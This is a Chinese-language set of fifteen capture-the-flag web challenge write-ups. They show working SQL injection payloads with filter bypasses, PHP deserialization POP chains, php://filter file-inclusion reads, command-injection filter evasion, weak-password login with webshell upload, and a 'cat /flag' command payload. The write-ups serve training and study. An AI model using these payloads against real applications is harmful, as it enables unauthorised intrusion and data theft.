1、[SWPUCTF 2021 新生赛]error
这题是一个报错注入
1' union select 1,2,3#
1' union select 1,2,databas()#
报错FUNCTION test_db.databas does not exist
-1' union select 1,2,extractvalue(1,concat(0x7e,(select database())))#
XPATH syntax error: '~test_db'
-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
XPATH syntax error: '~test_tb,users'
-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='test_tb')))#
id,flag
-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(flag) from test_tb)))#
-1' and 1=extractvalue(1,concat(0x7e,(select substring((group_concat(flag)),15,16) from test_tb)))#
NSSCTF{e1d173be-96a7-4735-af1f-02c442b185b0}
f-02c442b185b0}
2、[SWPUCTF 2021 新生赛]pop
打开题目一道典型的反序列化题目,个人感觉主要考察魔术方法的调用时机
首先·可以看到有个显眼的getflag函数,能够输出flag,pop链的末端肯定是他,在其他的两个类中,有个 __destruct()魔术方法,在反序列化之后调用,还有个 __tostring() 魔术方法(当类被当作字符串输出的时候调用)
而题目有个反序列化函数,那么在它之后就执行 __destruct()魔术方法,这个魔术方法有个echo函数,那么我们就可以利用这点让它输出w33m这个类,借此调用 __tostring()魔术方法,在这个魔术方法里有个看着像函数的调用:$this->w00m->{$this->w22m},那么我们可以将w00m赋值为一个类,将w22m赋值为所要调用的方法,那么就构造了函数的调用
如此pop链为:w22m::__destruct()->w33m::__tostring()->w44m::getflag()
php脚本
<?php class w44m { private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; } class w33m{ public $w00m; public $w22m; } $a=new w22m(); $a->w00m=new w33m(); $a->w00m->w00m=new w44m(); $a->w00m->w22m='Getflag'; echo urlencode(serialize($a));
3、[SWPUCTF 2022 新生赛]ez_ez_php
这题file要求前三个字符为php,而且,还有个include函数,不用想就是文件包含了,直接用filter过滤器
?file=php://filter/read=convert.base64-encode/resource=flag
4、[LitCTF 2023]作业管理系统
这题首先是一个登录系统,可以用弱密码 admin admin直接登录进去
然后来到下面这个页面,直接在题目里面写马
上传,然后命令执行
5、[UUCTF 2022 新生赛]websign
这题直接查看源码就行了
6、[LitCTF 2023]Http pro max plus
按照·题目要求来就行了,然后改相应的http头
这里有个要注意的是,client-ip 这个头也可以用来表示本地的ip地址,然后 via 头是用来设置代理的
最后访问/wtfwtfwtfwtf.php拿到flag
7、[SWPUCTF 2021 新生赛]sql
查看源码,可以看到参数是wllm
然后用get传参输入参数吧,发现有回显
当输入--+时候,有弹窗,应该被过滤了
然后直接爆破关键字吧,看看过滤了什么,因为我们知道--+被过滤了,他爆破出来的长度为525,所以与它一样的长度的关键字都被过滤了,这里空格也被过滤了,但是它这没有回显正确的长度
可以自己手动调试
因为等号=被过滤了,我们还可以使用like模糊匹配
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23 LTLT_flag,users
爆出了含有flag的表,那么就直接使用这个表,利用like
-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23 id,flag
爆出了flag这个列
直接读吧
-1'/**/union/**/select/**/1,2,flag/**/from/**/LTLT_flag%23 NSSCTF{75d2a667-eaae
这里只回显了flag的一部分
首先想到的是通过substr来截取字符串展示后面的flag内容,但是通过刚刚爆破的结果发现它被过滤掉了,left,right也被过滤掉了,
但是mid没有被过滤掉,这里关于他的用法举个例子吧
str=“123456” mid(str,2,1) 结果为2,索引从1开始
-1'/**/union/**/select/**/1,2,mid((select/**/flag),20,20)/**/from/**/LTLT_flag%23 e-4194-8e27-830f2e7e
这里我们要了解正式flag的形式,各个部分的长度为8,4,4,4,12,每个长度之间用 - 来隔开,
综合上面得到的flag来看,最后一部分还少了,所以控制mid函数的第二个参数,把最后一部分的flag弄出来
最后拼接,拿到flag
8、[SWPUCTF 2021 新生赛]finalrce
首先来看一下代码,最后会执行一个exec函数,这个函数不会将命令执行的结果在网页上显示,这时候就需要就到一个tee命令,用于将命令的输出写入到一个或者多个文件,
如 ls | tee 1.txt
将ls 列出的目录结果写入到1.txt文件里去
这题因为ls过滤了,我们这时候就可以用 \ 或者 `` 绕过,如 l\s 或者 l``s,就可以到达绕过效果了
输入?url=l``s /|tee 3.txt,然后访问 3.txt
最后用相同的方法拿flag就行了,注意la被过滤了,记得用 l\a 来绕过
9、[鹏城杯 2022]简单包含
这题有include函数,不用想就是文件包含,直接用filter来读
显示有waf,看看源码里有什么
flag=php://filter/read=convert.base64-encode/resource=index.php
拿去解码得到
也就是说如果要出现flag,只能让if的第一个条件为假,后面才能包含成功,所以要让传入的数据大于等于800
为了方便直接在flag前面传800个a,然后后面跟上flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
最后拿去解码,拿到flag
10、[HDCTF 2023]Welcome To HDCTF 2023
这题在游戏的js页面可以找到一串jsfuck码,拿去解码就可以拿到flag了
11、[LitCTF 2023]Vim yyds
这是一个vim编译器信息泄露的考点,
访问 /.index.php.swp
得到这个文件,这个文件是倒着来的,因为
如果password等于base64_encode('Give_Me_Your_Flag')那么就会获得一个命令执行函数
最后的payload
POST:password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
12、[NSSCTF 2022 Spring Recruit]babyphp
这题前面两个if直接用数组绕过就好了,这里有个新的知识点,当intval函数的参数为非空数组的时候,会返回 1,如此就达到了绕过效果
最后一个if语句的话,需要传入的c1 c2为字符串,所以就不能传数组了,并且是弱比较,所以还能传字符串(经过md5加密后的值是0e开头的)
这里浅浅的列出来几个
s878926199a
QNKCDZO
s155964671a
s214587387a
s214587387a
最后的payload:
a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s214587387a
13、[HNCTF 2022 Week1]Interesting_include
这题主要看if条件,如果不含有flag为正,那么就输出error,否则包含filer,直接用filter就行了
最后的payload:
?filter=php://filter/read=convert.base64-encode/resource=./flag.php
得到base64编码,最后拿去解码拿到flag
14、[鹤城杯 2021]EasyP
首先来看代码吧,有个utils.php文件,然后的话传入一个guess,如果他的值和$secret的值相等,那么就输出flag,但是这题并没有设置secret的值,所以这里不重要,最重要的是下面这三个if
if (preg_match('/utils.php/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
这段代码的意思表示如果$_SERVER['PHP_SELF']的末尾文件名是以utils.php结尾的那么就直接输出hack并退出
$_SERVER['PHP_SELF']是调用脚本的路径,比如访问的是:http://1.14.71.254:28189/index.php/utils.php
那么他的值就是index.php/utils.php
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
这个表示如果$_SERVER['REQUEST_URI中含有show_source 那么就输出hacker然后退出
$_SERVER['REQUEST_URI]和$_SERVER['PHP_SELF']的值其实是一样的,但是如果url后面有参数的话它会加上那个参数
如:http://1.14.71.254:28189/index.php/utils.php?a=1
此时$_SERVER['REQUEST_URI]的值就为index.php/utils.php?a=1
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
最后就是basename这个函数了
也就是会返回url中最后一个 / 后面的文件名,而highlight_file函数可以用来读取文件的内容,所以最后的目的就是要把utils.php传入进去,并且绕过前面那些正则
首先$_SERVER['PHP_SELF']不能以utils.php结尾,并且最后会调用basename这个函数,而basename处理不了非ascii编码,如果是ascii编码则会去掉这个非ascii,然后去前一个文件名,所以我们可以构造 如:utils.php/我,最后得到的结果就是utils.php了,
最后就是:isset($_GET['show_source']) 。 即show_source这个参数要被设置,并且$_SERVER['REQUEST_URI']不能出现show_source,这里是矛盾的,因为参数总会出现在$_SERVER['REQUEST_URL']里,这里有个知识点就是,php变量命名只能含有数字,字母,和下划线,当出现 [ 或者 + 这些符号的时候,会自动转化成下划线
所以最后的payload就出来了:
index.php/utils.php/我?show+source=1
15、[HUBUCTF 2022 新生赛]checkin
这题先看这个正则,$info = isset($_GET['info'])? $_GET['info']: "" ; 如果info设置了值为真,那么就把传入的值赋给$info,否则赋值为""
接着就是进行反序列化,然后看if条件语句
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}
如果反序列化的结果找username,并且他的值弱等于$username,同样password也是,那么就输出flag
这里看到通过索引找其对应的值就能想到数组,而且后面是弱比较,那么可以传入0让他与字符串相等,
如此,答案就出来了,php脚本:
<?php $arr=array('username'=>0,'password'=>0); echo serialize($arr);
payload:
?info=a:2:{s:8:"username";i:0;s:8:"password";i:0;}